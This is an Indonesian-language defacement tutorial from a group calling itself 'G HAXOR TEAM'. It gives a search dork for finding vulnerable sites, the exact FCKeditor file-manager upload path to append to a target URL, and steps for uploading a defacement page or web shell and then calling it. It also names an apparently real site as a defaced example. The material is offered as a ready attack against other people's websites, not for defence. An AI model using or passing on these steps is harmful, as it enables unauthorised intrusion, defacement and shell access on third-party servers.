DEFACE POC FCKEDITOR

G HAXOR TEAM

Ket : fckeditor adalah metode deface dengan menitip file ke suatu site
Syarat :
- tamvan :v
-punya skil coli :b
-Kesabaran
Bahan bahan :
Script html dan shell (tidak semua site bisa tanem shell)
Dork :
          inurl:advert_detail.php?id=
kembangin biar dapet yang Perawan  :v
Exploit
-          /admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

Okey langsung kita ke tkp
Pertama kita search dulu dorknya dibrowser.

Kedua pilih salah satu site
Kalo sitenya vuln maka tampilannya akan seperti ini

ketiga masukan exploitnya dibelakang site contohnya
http://site.com lalu tambahkan exploitnya jadi http://site.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php
setelah itu langsung saja upload file script lu
1.       Klik choose file ( cari script html atau shell  lu )
Dikarenakan w browsingnya pake uc brower jadi tombol choose filenya berbeda

2.       Klik upload
Kalo sudah di upload file nya, panggil aja script lu
Cara manggil script nya cukup ditambahkan /files/Namascriptlu.html dibelakang site
contoh http://site.com/files/Anonimokerl.html
kalau berhasil maka tampilannya akan berubah seperti script lu :v
Dan taraaaa lu sekarang bisa deface poc fckeditor :v

Jika lu tadi upload shell lu maka lu panggil dan akses deh shellnya :v
Ini adalah contoh hasil deface tadi

http://www.ensaremlak.com.tr/files/anonimokerl.html

THANKS MOHON MAAF BILA BANYAK KESALAHAN :*